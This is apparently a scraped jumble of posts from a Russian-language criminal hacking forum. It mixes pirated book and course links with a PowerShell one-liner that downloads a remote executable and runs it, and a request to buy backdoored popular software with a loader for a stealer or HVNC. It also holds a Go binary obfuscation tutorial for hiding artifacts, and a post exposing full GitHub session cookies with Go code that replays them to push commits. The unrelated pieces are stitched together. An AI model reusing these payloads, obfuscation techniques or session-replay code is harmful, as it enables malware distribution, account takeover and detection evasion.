Spoiler: Скачать
Hidden content for authorized users.
](https://anonfiles.com/t2HeGa86ub/64-_2021_pdf)
anonfiles.com
Кто понимает в rust, насколько эта книга раскрывает язык?
Hidden content for authorized users.
Code:Copy to clipboard
powershell (New-Object Net.WebClient).DownloadFile('https://site.com/filename.bin', (Get-ChildItem env:\temp).value + '\temp.exe'); & $env:temp\'temp.exe'
Год издания: 2021
Автор: Daniel Kusswurm / Даниэль Куссвюрм
ISBN: 978-5-97060-928-6
Язык: Русский
Формат: PDF
Количество страниц: 628
Описание:
Изучите язык ассемблера x64, сосредоточившись на обновлениях набора команд
x86, наиболее актуальных для разработки прикладных программ.
Рассматриваемые темы:
• 64-разрядная платформа x86: архитектура, типы данных, регистры, режимы
адресации памяти и базовый набор команд;
• набор команд x86 для создания быстродействующих функций, которые можно
вызывать из языка высокого уровня (C++);
• использование языка ассемблера x64 для эффективной работы с общими типами
данных и конструкциями программирования, включая целые числа, текстовые
строки, массивы и структуры;
• использование набора команд AVX для выполнения скалярных арифметических
операций с плавающей запятой;
• повышение быстродействия ресурсоемких алгоритмов в проблемных областях,
таких как обработка изображений, компьютерная графика, математика и
статистика, за счет команд AVX, AVX2 и AVX-512;
• применение различных стратегий и методов кодирования, а также наборов команд
x64, AVX, AVX2 и AVX-512 для достижения максимального быстродействия.
Исходный код доступен по адресу
https://github.com/Apress/modern-x86-assembly-language-programming-2e
Spoiler: Скачать
Hidden content for authorized users.
](https://anonfiles.com/NfxfG18cu5/Modern_X86_Assembly_Language_Programming_pdf)
anonfiles.com
Hidden content for authorized users.
](https://anonfiles.com/NfU43277ue/Boty_dlya_kompyuternykh_igr_2021_Ilya_Shpigor_pdf)
anonfiles.com
Есть урл, при попытке стучать на него происходит редирект на него же с хедером в респонзе вида Set-Cookie: pregate=1617536836.acd8e3aea3b1fd81da8e334137c31bfc.515992ec4f99fe6f3ac655d3abbd537a, соответственно после редиректа идёт проверка на то, есть ли токен в куках и если нет, то запрос реджектится. Вопрос заключается в том, как отловить хедер при редиректе. При запросе из браузера есть механизм, который этот момент обрабатывает, но не понятно как воспроизвести его.
Нужен белый софт с бэкдором с базой хотя бы 30-50к пользователей( по типу офисных программ Microsoft Office, или же FLStudio - это как пример), и с лоадером что бы подгружать стиллак либо ХВНЦ.
На софт накинуть серт, он входит в мои расходы.
Бюджет индивидуальный.
По всем вопросам обращайтесь в ТГ.
Эта книга задумывалась не как очередное руководство по Bash и Unix-окружению. Перед вами самоучитель по программированию. Примеры программ написаны на языке Bash.
Программирование можно изучить самостоятельно. При этом неизбежны вопросы. Без некоторого опыта на них сложно найти ответы. Мы постараемся пройти по всем этим вопросам.
В книге подробно разбираются следующие темы:
По каждой теме приводятся упражнения. Выполним их вместе и так закрепим полученные знания.
После прочтения книги вы научитесь использовать Bash. Его возможности помогут вам в решении ежедневных задач по работе с компьютером. Некоторые из задач вы научитесь автоматизировать. Это отличный старт, чтобы научиться программировать.
](https://cloud.mail.ru/public/axbA/TJqc1N76P)
Вам открыли доступ к файлу. Отправлено с помощью Облако Mail
cloud.mail.ru
Так уж вышло, что на форуме скопилось огромное количество различных программ и
решений если не всех, то многих проблем. Решил сохранить тут и bat файл,
который готов разделить большие файлы на несколько частей, равных меж собой.
Чаще всего, когда masscan выдает результаты на 500Мб файл нельзя открыть
стандартными программами.
Скорость обработки невысокая и придется пить чай, но если у вас нет другого
варианта, то прошу:
С кодом все просто, я оформлю только настройки, полная копия будет внизу поста.
Поместите скрипт и большой файл в одной папке рядом, запустите его двойным кликом.
Строка 3:: Укажите имя файла, например myfile.txt
Set list=myfile.txtClick to expand...
Строка 4:: Укажите количество строк, на которое будет разбит документ, например 5000000
Set str=5000000Click to expand...
Полный код скрипта:
Spoiler: Сохраните в формате .bat
@Echo Off
SetLocal enabledelayedexpansion
Set list=myfile.txt
Set str=5000000
Set Num=%str%& Set File=0
For /F "tokens=* usebackq delims=" %%i In ("%list%") Do (
Set /a Num+=1
If !Num! GEQ %str% (
Set Num=0
Set /a File+=1
Set nFile=0!File!
Set nFile=!nFile:~-2!
Echo %%i>list!nFile!.txt
) Else Echo %%i>>list!nFile!.txt
)
Pause
Exit
# Использует утилиты: tor curl _(Отказался от nc)._
**# Переменной connect контролируется количество ТОР подключений (В
зависимости от мощности железа).
# Составлен тестовый запрос на money-robot.pro _( iconv для него)**._
Code:Copy to clipboard
high.turing@xitroo.com:b2f7ffbb290096e8e5c9
* Всего пополнено: 0.00 Руб.
* Всего выплачено: 0.00 Руб.
* Серебра для покупок: 0.00
* Серебра для вывода: 0.00
Внимание!!!
==================================
# Ошибки могут возникать из-за того, что ТОР не успевает менять IP.
You must have at least 5 reaction(s) to view the content.
Запрос переделывайте под свои нужды!
Название: Навык «Вёрстка многослойных элементов интерфейса» (2020) [Тариф «Полный комплект»]
Автор: HTML academy
Описание профессиональной задачи
Умение верстать многослойные интерфейсы — необходимое звено в наборе навыков
верстальщика. Освоив этот навык, вы будете уметь верстать «всплывающие»
попапы, модальные окна, тултипы-подсказки, прокручивающиеся вместе со всем
сайтом «липкие» меню, выпадающие элементы интерфеса, «прелоадеры» и подобные
элементы. Вёрстка таких элементов сильно влияет на опыт взаимодействия
пользователя с интерфейсом, и основная отвественность за удобство интерфейса
ложится на плечи верстальщика.
Материалы комплекта
Название: Android-разработчик. Продвинутый курс [все модули]
Автор: OTUS
Описание:
Курс обеспечивает глубокое погружение в промышленную Android-разработку на языке Kotlin, и за 5 месяцев позволяет прокачать свои навыки с уровня Junior до Middle или Senior Android-разработчика.
Продолжительность: 65:28:47
Качество видео: PCRec
Продажник
Скачать
P.S. Ссылка на курс может долго не прожить, по этому возможно не смогу
обновить ссылку.
Как создавать драйвер для сетевой карт платы ?
Создать драйвера для сетевой виртуальной карты ?
Где найти эти всякие исходники желательно давно отлежавшиеся и от официальных
создателей ?
Робота сетевых карт плат, а так же виртуальных сетевых карт при разных
соединениях передачи и приёма данных, при помощи открытого порта и портов
связи передачи информации, есть или нет исходных кодов или это только с
помощью декомпилирования сетевых устройств происходит ?
P.S Пытался как то с ориентироваться и нечего к этому с кода или текста не
написать.
А интересно изучать драйвера для сетевых карт плат, исключительно для добычи
информации с помощью взлома разными способами.
То есть просто добывать верней выкачивать из интернет адресов и сетей интернет
адресов разные дампы баз данных.
К сути проводить разного количества взломов сетевых с выполнения возможных
принципов атак.
Название: Анализ данных на языке SQL. Уровень 2 (2020)
Автор: Specialist
Язык SQL –самый мощный инструмент для обработки данных, придуманный человеком. Этот простой и выразительный язык запросов поддерживается всеми современными базами данных (в том числе Microsoft, Oracle, IBM) и инструментами анализа и программирования (в том числе Excel). На курсе Вы научитесь свободно и уверенно пользоваться современными базами данных, в том числе строить сложные отчёты и проводить глубокий анализ данных.
По окончании курса Вы будете уметь:
Профессионально пользоваться современными базами данных
Использовать сложные конструкции SQL
Выполнять глубокий анализ данных
Строить сложные отчёты
Выбирать адекватный задаче метод анализа данных
Специалисты, обладающие этими знаниями и навыками, в настоящее время крайне
востребованы. Большинство выпускников наших курсов делают успешную карьеру и
пользуются уважением работодателей.
Ссылка: https://secbytes.net/Implant-Roulette-Part-1:-Nimplant
Забавно, но в этой англоязычной статье есть ссылка на мою статью про обфускацию Nim на макросах. Ну чтож, гугл транслейт вам в помощь, господа иностранцы)).
В последнее время часто слышу про этот язык, и думаю начать его изучать, нашел пару титориалов. Нравится то, что присутствуют как ручные, так и автоматические способы управления паматью и есть ощущение, что скоро NIM будет пополярным не менее, чем питон. Если тут есть товарищи которые работают с этим языком, буду рад услышать ваще мнение, стоит ли тратить время на изучение данного языка. Спасибо.
Будет полезно новичкам и средничкам))
Предисловие
В этой книге мы будем искать уязвимости buffer overflow, с нуля создавать свои
шеллкоды, изучать механизмы защиты операционных систем и создавать свои
эксплоиты. Вы научитесь понимать как проникать в операционные системы и сети
используя шеллкоды, ассемблер и Metasploit. Также вы научитесь писать 64х
битные
шеллкоды и шеллкоды уровня kernel. В целом эта книга является вашим пошаговым
путеводителем в мир создания и разработки шеллкода.
Что изучают в этой книге
Глава 1 , Введение, обсуждение концептов шеллкода, buffer overflow, heap
corruption и
введение в компьютерную архитектуру.
Глава 2 , Создание лаборатории, изучение создания рабочего места для
тестирования
кода и введение читателей в графический интерфейс дебаггеров.
Глава 3 , Язык Assembly, объясним как создать шеллкод на языке Assembly в
системе
Linux .
Глава 4 , Реверс инженерия, покажем как использовать дебаггеры для реверс
инженеринга кода.
Глава 5 , Создание Шеллкода, объясним как создать шеллкод на языке
Assembly и в
Metasploit.
Глава 6 , Атаки buffer overflow, в деталях покажем как работает атака
buffer overflow в
операционных системах Windows и Linux.
Глава 7 , Создание эксплоита– Часть 1, покажем как использовать fuzzing и
нахождение
обратного отклика.
Глава 8 – Часть 2, изучим создание правильного шеллкода и как правильно
ввести его
в эксплоит.
Глава 9 , Реальные примеры – Часть 1, введение в реальные сценари атаки
buffer
overflow .
Глава 10 , Реальные примеры – Часть 2, углубленное изучение предыдущей
главы .
Глава 11 , Реальные примеры – Часть 3, ещё несколько сценариев атак с
использованием
других приёмов.
Гоава 12 , Обнаружение и предотвращение, изучим некоторые приёмы и техники
для
обнаружения и предотвращения атак buffer overflo
СКачать
Автор: tenfield
Эксклюзивно для форума: xss.is
Введение
Привет любителям Golang. Привет любителям Python. Продолжим разговоры об
обфускации бинарников Golang. Сегодня у меня для вас классы для обфускации
имен пакетов, файлов, функций.
Содержание
- Go. Демо проект
- Схема работы обфускатора
- Пишем обфускатор на python
- Обфускатор имен файлов
- Обфускатор имен пакетов
- Обфускатор функций
- Запуск обфускатора
- Сборка проекта и повторный анализ бинарника
- Выводы
Go. Демо проект
Создадим папку project. Далее работать будем только в этой директории.
Создадим файл main.go в директории с демо проектом.
Точка входа, функция main, вызывает функцию SolveUltimateQuestionOfLife из
пакета xss.
Функция SolveUltimateQuestionOfLife просто ожидает несколько секунд и
возвращает строку или сообщение.
Rich (BB code):Copy to clipboard
// main.go
package main
import (
"fmt"
"main/xss"
)
func main() {
sol := xss.SolveUltimateQuestionOfLife()
fmt.Println("Solve", sol)
}
Rich (BB code):Copy to clipboard
// xss/main.go
package xss
import (
"time"
)
func SolveUltimateQuestionOfLife() string {
time.Sleep(8 * time.Second)
return "12345678"
}
И для сборки проекта необходимо создать файл go.mod. Это файл указывающий минимальную версию golang и зависимости проекта.
Rich (BB code):Copy to clipboard
// go.mod
module test
go 1.23
Стандартная сборка проекта: "go build . -o main"
И запуск: "./main"
Вывод: "Solve 12345678"
Посмотрим что прячется внутри бинарника
Вот это сегодня мы будем скрывать.
Схема работы обфускатора
Как и ранее со строками, сделаем этап перед сборкой, скрывающий артефакты,
сейчас это имена функций, пакеты и имена файлов
python3 pre_build.py go-project/ -> go build -> bin.exe без артефактов
Пишем обфускатор на python
Как писал DildoFagins в статье /threads/106900/, удобно организовывать
обфускаторы с помощью классов. Полностью согласен.
Далее последовательно разберем несколько однотипных обфускаторов. Структура
кода очень похожа и обфускаторы расположены от простого к более сложному.
Создадим класс Obfuscator принимающий путь до Go проекта.
В конструкторе проверяем что указанная директория существует и запускаем
обработку (функция processing).
Обфускатор имен файлов
Python:Copy to clipboard
class FileNameObfuscator:
def __init__(self, src_dir: str, ) -> None:
if not Path(src_dir).exists():
raise FileNotFoundError(f"The source path '{src_dir}' does not exist.")
self.src_dir = src_dir
self.processing()
def processing(self):
for file in Path(self.src_dir).glob("**/*.go"):
file_new = Path(file).parent.joinpath(f'{random_string(size=randint(5, 10))}.go')
try:
Path(file).rename(file_new)
except Exception as e:
print(e)
Функция processing
Функция рекурсивно обходит проект и, для каждого файла с расширением .go,
генерирует новое имя.
Затем пытается переименовать файл, либо выводит сообщение об ошибке.
В отличие от обфускации пакетов (рассмотрим далее), здесь новые имена файлов не запоминаются.
Обфускатор имен пакетов
Python:Copy to clipboard
class PackageObfuscator:
def __init__(self, src_dir: str, ) -> None:
if not Path(src_dir).exists():
raise FileNotFoundError(f"The source path '{src_dir}' does not exist.")
self.src_dir = src_dir
self.processing()
def get_folders(self) -> set[str]:
for i in Path(self.src_dir).glob("**/*"):
if i.is_dir():
yield i.name
def processing(self):
# генерируем новые имена пакетам
packages = {}
for i in self.get_folders():
packages.update({
i: random_string(size=randint(5, 10))
})
# переименовываем папки
for old_folder, new_folder in packages.items():
new_path = Path(self.src_dir).joinpath(new_folder)
Path(self.src_dir).joinpath(old_folder).rename(new_path)
# заменяем импорты и объявления пакетов
for i in Path(self.src_dir).glob("**/*.go"):
if not i.is_file():
continue
with open(i, 'r') as f:
content = f.read()
for old_package, new_package in packages.items():
# заменяем импорты
content = content.replace(f'main/{old_package}', f'main/{new_package}')
# заменяем вызовы функций
content = content.replace(f'{old_package}.', f'{new_package}.')
# заменяем название пакета
content = content.replace(f'package {old_package}', f'package {new_package}')
with open(i, 'w') as f:
f.write(content)
Функция processing
Для обфускации имен пакетов недостаточно заменить имена папок как мы делали
это ранее с файлами.
Замена потребуется в месте объявления пакета, и в месте использования пакета.
Перед началом изменений, необходимо подготовить план изменений. План удобно
хранить в dict, в формате {"старое_имя_пакета": "новое_имя_пакета"}.
После этого, по воле бога и согласно плану, переименовываем директории.
Далее необходимо в каждом .go файле из проекта заменить импорты, объявления,
вызовы. Проще объяснить это на примере:
Пусть план в нашем примере содержит {'xss':'damagelab'}.
Так как пакет изменился, необходимо заменить объявление пакета (в начале
файла, перед секцией импортов).
Rich (BB code):Copy to clipboard
package xss
Заменяем на
Rich (BB code):Copy to clipboard
package damagelab
Во всех файлах проекта, где содержится импорт из текущего пакета, необходимо обновить имя пакета.
Rich (BB code):Copy to clipboard
import (
"fmt"
"main/xss"
)
Заменяем на
Rich (BB code):Copy to clipboard
import (
"fmt"
"main/damagelab"
)
Во всех файла проекта, необходимо заменить вызовы функций из текущего проекта. Вызов функции в Go формируется следующим образом: "пакет.Функция(аргументы)". Обновляем пакет.
Rich (BB code):Copy to clipboard
xss.SolveUltimateQuestionOfLife()
Превращаем в
Rich (BB code):Copy to clipboard
damagelab.SolveUltimateQuestionOfLife()
И повторить каждый раз в каждом файле из проекта.
Обфускатор функций
Python:Copy to clipboard
class FunctionsObfuscator:
def __init__(self, src_dir: str):
if not Path(src_dir).exists():
raise FileNotFoundError(f"The source path '{src_dir}' does not exist.")
self.src_dir = src_dir
self.processing()
def gen_func_name(self, is_exportable=False) -> str:
new_func_name = random_string(size=randint(5, 10))
if is_exportable:
random_char = random_string(size=1, chars='ABCDEFGHIJKLMNOPQRSTUVWXYZ')
new_func_name = f'{random_char}{new_func_name}'
else:
random_char = random_string(size=1, chars='abcdefghijklmnopqrstuvwxyz')
new_func_name = f'{random_char}{new_func_name}'
return new_func_name
def parse_func_name(self, line: str) -> str:
regex = r"(?:func )([a-zA-Z0-9_-]*)"
matches = re.findall(pattern=regex, string=line, flags=re.IGNORECASE)
assert len(matches) == 1
return matches[0]
def parse_funcs(self) -> dict[str, str]:
funcs = dict()
for i in Path(self.src_dir).glob("**/*.go"):
with open(i, 'r') as f:
content = f.read()
for line in content.split('\n'):
if not line.startswith('func '):
continue
assert len(line.split('func')) == 2
func_name = self.parse_func_name(line)
assert len(func_name)
if func_name in ['main', 'init']:
continue
if func_name in funcs.keys():
raise Exception(f"File {i}\t{func_name=} is not unique")
# Если функция начинается с большой буквы
# Это экспортируемая функция
funcs.update({
func_name: self.gen_func_name(func_name[0].isupper())
})
def processing(self):
funcs = self.parse_funcs()
for i in Path(self.src_dir).glob("**/*.go"):
with open(i, 'r') as f:
content = f.read()
for old_func, new_func in funcs.items():
content = content.replace(f'{old_func}(', f'{new_func}(')
content = content.replace(f'{old_func} (', f'{new_func} (')
with open(i, 'w') as f:
f.write(content)
Функция processing
Продолжаем усложнять. Как и ранее с именами пакетов, замена потребуется в
месте объявления функции, и в месте вызова функции.
Поэтому замену производим в 2 этапа.
Сначала вызываем функцию self.parse_funcs и собираем все объявления функций.
Затем рекурсивно обходим файлы проекта и в каждом go файле заменяем вызовы
функций на новое имя функции.
При генерации имен, как водится, есть одна тонкость. В Golang из пакета можно
вызвать только "глобальные" функции. Функция глобальная, если начинается с
заглавной буквы.
"Локальные" функции могут использоваться только в пакете, где были объявлены.
Если это правило нарушено, Golang выдаст ошибку во время компиляции.
Во время генерации новых имен функций необходимо сохранить область видимости
функции. Для этого достаточно определить тип функции и добавить в начало имени
функции заглавный или строчный символ. От этого длинна имени функции
становится size+1.
Запуск обфускатора
Соберем все обфускаторы вместе. Создаем переменную с путем до нашего проекта и
поочередно запускаем обфускатор имен файлов, имен пакетов, имен функций.
Python:Copy to clipboard
def main():
src = "./src"
FileNameObfuscator(src)
PackageObfuscator(src)
FunctionsObfuscator(src)
if __name__ == "__main__":
main()
Внимание! Перед запуском pre_build.py следует копировать проект во временную
папку. Иначе потеряете исходники!
Запустим скрипт: python3 main.py
Посмотрим на новое содержимое исходников.
Rich (BB code):Copy to clipboard
// ghzzbo.go
package main
import (
"fmt"
"main/ikqrxztkbh"
)
func main() {
sol := ikqrxztkbh.Gtuezpes()
fmt.Println("Solve", sol)
}
Rich (BB code):Copy to clipboard
// ikqrxztkbh/uzpjz.go
package ikqrxztkbh
import (
"time"
)
func Gtuezpes() string {
time.Sleep(8 * time.Second)
return "12345678"
}
В исходнике теперь рандомные строки вместо имен пакетов, рандомные функции,
рандомные файлы.
Есть что-то особое и приятное в работе обфускаторов. Напоминает карикатурно
сложные машины Голдберга https://ru.wikipedia.org/wiki/Машина_Голдберга
Остались последние шаги: запустить сборку проекта и анализ.
Сборка проекта и повторный анализ бинарника
Собираем проект: "go build -o main ."
Запускаем: "./main"
И получаем вывод как до модификации проекта: "Solve 12345678"
Расчехляем strings и ищем артефакты. В этот раз наблюдаем большое количество
случайных строк. Но настоящие артефакты больше не ищутся.
В бинарном файле добавилось больше случайных данных. Это действие должно
отразиться на параметре энтропии.
https://ru.wikipedia.org/wiki/Информационная_энтропия.
У меня получились следующие результаты вычисления энтропии по функции Шеннона.
Энтропия "чистого" бинарника: 6.013176
Энтропия после предварительной обфускации: 6.013218
Отличия в 4 знаке после точки. Размер бинарного файла скрывает наши изменения
и они не оказывают влияния.
Выводы
Вот так за 2 статьи мы прикрыли чувствительную информацию в бинарниках от
слишком любопытных глаз.
Я бы назвал 4 обфускатора (строки, файлы, пакеты, функции) джентльменским
набором для Golang. В бинарнике есть другие артефакты, но в тот момент для
меня они были не актуальны.
Обфускатор строк можно написать без использования маркеров. Это сильно
упрощает процесс и делает код более читаемым.
Обфускатор должен работать для любого golang кода. Если возникнет ситуация,
которую не способен решить обфускатор, то вы получите ошибку/исключение.
Для полного набора не хватает генератора мусора, но об этом в следующий раз
Что я не так делаю? Вроде все правильно, не могу понять ошибку
вот так должен выглядить запрос
Spoiler: пример запроса
POST /mehmetakifsimsek/wf33ffffss2d32sq1sswdwd/tree-save/main/README.md HTTP/2
Host: github.com
Cookie:
saved_user_sessions=50700771%3AEbWuWkmN91WtccSRmkf6dcMrdB_U1btIywKaFl_wErKzTfEN;
_device_id=334ed064097ce028e244ae762b5b95f5; __Host-
user_session_same_site=EbWuWkmN91WtccSRmkf6dcMrdB_U1btIywKaFl_wErKzTfEN;
user_session=EbWuWkmN91WtccSRmkf6dcMrdB_U1btIywKaFl_wErKzTfEN;
_gh_sess=%2B2LJ08Al6EOAA4ivOfvVDDRdbLp38yTwoK4jxK59bA1FB5s5RNWDWia%2FX3flkYaKfZ9K2EzFgT1qv1TQPRX2ZnZsWE%2Byz7fNQaWwMVg%2BgqcLe6GnC1mKGc8rpvwgcjP1XrbweNuVpjI0PGMyL6JP%2BQGYinSfrOBj5kGe%2FP9qKpc4FupPPrWilJh%2FhvCyuRnRcldI3MFz7NfLVMbaSnuAHZTmqrTuw%2FdSiJsmtzUvSWl5%2B3qSYkQGWRGbDBVt95hKvnqSs5gUIHVmYmIsperQAD3odx1A9mGyXOk1KZclzWp%2F6gSjHmPLxaYwgtlAil1AHwQ%2F9POTacc05j0QjDDig7gt4w2lrHuFkJ1m8x05nOEZFuJkXw73sqE7mC%2BFHP3Pyb1Ul7bQ%2BF7mlrRSWQkQ2dSfpWk%3D--%2F2X35MgYcxyyiVO2
--wA%2FPtlQDGwTdOpxIpZq64Q%3D%3D; _octo=GH1.1.635283238.1725337113;
dotcom_user=mehmetakifsimsek; logged_in=yes;
color_mode=%7B%22color_mode%22%3A%22auto%22%2C%22light_theme%22%3A%7B%22name%22%3A%22light%22%2C%22color_mode%22%3A%22light%22%7D%2C%22dark_theme%22%3A%7B%22name%22%3A%22dark%22%2C%22color_mode%22%3A%22dark%22%7D%7D;
preferred_color_mode=dark; tz=Europe%2FMoscow
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101
Firefox/122.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer:
https://github.com/mehmetakifsimsek/wf33ffffss2d32sq1sswdwd/edit/main/README.md
Github-Verified-Fetch: true
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data;
boundary=---------------------------8276853221750002916644455780
Content-Length: 1980
Origin: https://github.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
-----------------------------8276853221750002916644455780
Content-Disposition: form-data; name="message"
Update README.md
-----------------------------8276853221750002916644455780
Content-Disposition: form-data; name="placeholder_message"
Update README.md
-----------------------------8276853221750002916644455780
Content-Disposition: form-data; name="description"
-----------------------------8276853221750002916644455780
Content-Disposition: form-data; name="commit-choice"
direct
-----------------------------8276853221750002916644455780
Content-Disposition: form-data; name="target_branch"
main
-----------------------------8276853221750002916644455780
Content-Disposition: form-data; name="quick_pull"
-----------------------------8276853221750002916644455780
Content-Disposition: form-data; name="guidance_task"
-----------------------------8276853221750002916644455780
Content-Disposition: form-data; name="commit"
64ba15b5d757b8889f8399758b222f2be926a038
-----------------------------8276853221750002916644455780
Content-Disposition: form-data; name="same_repo"
1
-----------------------------8276853221750002916644455780
Content-Disposition: form-data; name="pr"
-----------------------------8276853221750002916644455780
Content-Disposition: form-data; name="content_changed"
true
-----------------------------8276853221750002916644455780
Content-Disposition: form-data; name="filename"
README.md
-----------------------------8276853221750002916644455780
Content-Disposition: form-data; name="new_filename"
README.md
-----------------------------8276853221750002916644455780
Content-Disposition: form-data; name="value"
newdesc
-----------------------------8276853221750002916644455780
Content-Disposition: form-data; name="authenticity_token"
tUzHvuEiRJrj2gzIp0NWT_IBCTgwgewFUV0S6nxJJF7DdqqiPwx2FXBB4ENGyL1q_R3Cwo0N-uIXSr4sCehb8Q
-----------------------------8276853221750002916644455780--
вот так выглядит мой запрос
Spoiler: мой запрос
POST /mehmetakifsimsek/wf33ffffss2d32sq1sswdwd/tree-save/main/README.md
HTTP/1.1
Host: github.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:115.0) Gecko/20100101
Firefox/115.0
Content-Type: multipart/form-data;
boundary=--ac3b27968d71ef01ced571ea695b74a5b32a8374bd3311722a4ba735609f
Cookie: _octo=GH1.1.635283238.1725337113; __Host-
user_session_same_site=EbWuWkmN91WtccSRmkf6dcMrdB_U1btIywKaFl_wErKzTfEN;
_device_id=334ed064097ce028e244ae762b5b95f5; dotcom_user=mehmetakifsimsek;
logged_in=yes;
saved_user_sessions=50700771%3AEbWuWkmN91WtccSRmkf6dcMrdB_U1btIywKaFl_wErKzTfEN;
user_session=EbWuWkmN91WtccSRmkf6dcMrdB_U1btIywKaFl_wErKzTfEN;
color_mode=%7B%22color_mode%22%3A%22auto%22%2C%22light_theme%22%3A%7B%22name%22%3A%22light%22%2C%22color_mode%22%3A%22light%22%7D%2C%22dark_theme%22%3A%7B%22name%22%3A%22dark%22%2C%22color_mode%22%3A%22dark%22%7D%7D;
_gh_sess=sLK6%2Fv4VfW5%2BEaD0KcJuRBF2jFViYL6K%2BlzZ%2Fr6oWV2EE000KMM1QtcjCScO99eaOMM8BioLZ1OqRM9gWFcbVakesalBTFs75QVgW6HSgE1E3r92OXaQ32Is4M6p9zYg2d3ytGwy4tfg77U%2BRgoJOzPXRNsPQWmvChOLf92QIFVYq5SsVQPDnGmSIhL6X4h6C7uFd1ZZRY3vs0SoEMVr1F7WB%2BeWEZ93ah4OmYOd4MNLxjf6cWiF%2Bq30OdOXIuD%2Ff5QFZvw3NARdSf6GDG3rVeXqcY9upCMXqE1XLxG5W7YNc%2B400mhhrrDRK%2FUeGCBy7Zn6UTdsWmiUjSCsg5TIRcKM%2FFt24xde09PcMFXGEZAShISPIt8atNkM3U0Rfz9f4vGFIXNKKWK4lgo6qUy8ISgmNNf8fJDLdZYK2to%2B%2F2RazmLBlG6t9Q9TWcDV2HmEdL6BuCs5wwQSFxNGwsTfXHlzbvJ4sPn9UFsseb%2FTuU65jZE8ZYt9lUIhxT0IW0P%2FI9Nw7I9P39wvbfqz3MKRZzq7KZeD1x6EPeOcSmawLwrXbDmWrD06SQsMxCn1LOaECig9b1gsHCZ7ePgOrSXthPXZq%2FIrI9%2F6GTXQtvsPgS%2BeO%2FotV71AkOvZjN0d0aG45aGPUWS5twFDnPRnBsYp487KJr5duJQPzWZGvrC8Ro4ASY93vTix4JdD1gnL7iM8f%2Bk1M6FQNGNDCvXTCbnTgMnCQM3QMTo4DBX55QjSGUIiYLaFv0XEIiWgWLEgCf7vrBUdyDWXI0BOCuaeYZ8hMfFWKVh%2FBZkzdUtNY%2FLw29bdB%2FmbDkjqsnNZff9Qki5XaQGSjrb%2F2teOBT5Rc0GdxN%2BDCjWJF%2FKWsl3owO70SbcLXTa3IxTOlBYoEBl%2BYDjtzx%2BhFzZ7O2nHJGEqG3PHjq2AwtHnjv8GyI01uvYZdSjDB6uNBP9mBSyIwE67RtnsexzvO7V9OxpNcUNCpjl164tQKyOE67AWQsmqtni5VFcGws4u6JfIaNTKetrUlMmZBunmXBacvUCExIe9AKe%2Fsq0PHSt3hfjzIZCvXCVgzP%2BA7DS6tFgsjKTTmhXEGrUGaKeF5XGCMUkSE6FO%2BpP5TjKUeYieNEKUZp2LsPV8rvmoNgePD5lSNzAlCMZMr28WLRFO9EeVxFFLmhBrVvPD0tFTOmRO44Ih
--HNDune6NBjINdKuL--uXdiLkMU0DD%2FRsc2p11h9Q%3D%3D
Github-Verified-Fetch: true
Origin: https://github.com
Referer: <https://github.com/mehmetakifsimsek/wf33ffffss2d32sq1sswdwd/tree-
save/main/README.md>
Te: trailers
Accept-Encoding: gzip, deflate
Content-Length: 2064
--ac3b27968d71ef01ced571ea695b74a5b32a8374bd3311722a4ba735609f
Content-Disposition: form-data; name="message"
Update README.md
--ac3b27968d71ef01ced571ea695b74a5b32a8374bd3311722a4ba735609f
Content-Disposition: form-data; name="placeholder_message"
Update README.md
--ac3b27968d71ef01ced571ea695b74a5b32a8374bd3311722a4ba735609f
Content-Disposition: form-data; name="description"
--ac3b27968d71ef01ced571ea695b74a5b32a8374bd3311722a4ba735609f
Content-Disposition: form-data; name="commit-choice"
direct
--ac3b27968d71ef01ced571ea695b74a5b32a8374bd3311722a4ba735609f
Content-Disposition: form-data; name="target_branch"
main
--ac3b27968d71ef01ced571ea695b74a5b32a8374bd3311722a4ba735609f
Content-Disposition: form-data; name="quick_pull"
--ac3b27968d71ef01ced571ea695b74a5b32a8374bd3311722a4ba735609f
Content-Disposition: form-data; name="guidance_task"
--ac3b27968d71ef01ced571ea695b74a5b32a8374bd3311722a4ba735609f
Content-Disposition: form-data; name="commit"
64ba15b5d757b8889f8399758b222f2be926a038
--ac3b27968d71ef01ced571ea695b74a5b32a8374bd3311722a4ba735609f
Content-Disposition: form-data; name="same_repo"
1
--ac3b27968d71ef01ced571ea695b74a5b32a8374bd3311722a4ba735609f
Content-Disposition: form-data; name="pr"
--ac3b27968d71ef01ced571ea695b74a5b32a8374bd3311722a4ba735609f
Content-Disposition: form-data; name="content_changed"
true
--ac3b27968d71ef01ced571ea695b74a5b32a8374bd3311722a4ba735609f
Content-Disposition: form-data; name="filename"
README.md
--ac3b27968d71ef01ced571ea695b74a5b32a8374bd3311722a4ba735609f
Content-Disposition: form-data; name="new_filename"
README.md
--ac3b27968d71ef01ced571ea695b74a5b32a8374bd3311722a4ba735609f
Content-Disposition: form-data; name="value"
reposwagger
--ac3b27968d71ef01ced571ea695b74a5b32a8374bd3311722a4ba735609f
Content-Disposition: form-data; name="authenticity_token"
7I3UH-b7Vz0J84N04JpB2n8cF3b9CumD9JBmwgw7m-Sat7kDONVlsppob_8BEar_cADcjECG_2Syh8oEeZrkSw
--ac3b27968d71ef01ced571ea695b74a5b32a8374bd3311722a4ba735609f--
вроде все верно, но получаю статус код 500. Токен в запросе верный, в чем проблема?
C-like:Copy to clipboard
bodyr := &bytes.Buffer{}
writer := multipart.NewWriter(bodyr)
writer.WriteField("message", "Update README.md")
writer.WriteField("placeholder_message", "Update README.md")
writer.WriteField("description", "")
writer.WriteField("commit-choice", "direct")
writer.WriteField("target_branch", "main")
writer.WriteField("quick_pull", "")
writer.WriteField("guidance_task", "")
writer.WriteField("commit", commit)
writer.WriteField("same_repo", "1")
writer.WriteField("pr", "")
writer.WriteField("content_changed", "true")
writer.WriteField("filename", "README.md")
writer.WriteField("new_filename", "README.md")
writer.WriteField("value", "newreadmedata")
writer.WriteField("authenticity_token", newtoken)
writer.Close()
url := fmt.Sprintf("https://github.com/%s/%s/tree-save/main/README.md", data.DotcomCookies, data.Name)
fmt.Println(url)
req, err = http.NewRequest("POST", url, bodyr)
if err != nil {
fmt.Println(err)
return
}
req.Header.Set("User-Agent", useragent1k)
req.Header.Set("Content-Type", writer.FormDataContentType())
req.Header.Set("Referer", url)
req.Header.Set("Github-Verified-Fetch", "true")
req.Header.Set("Origin", "https://github.com")
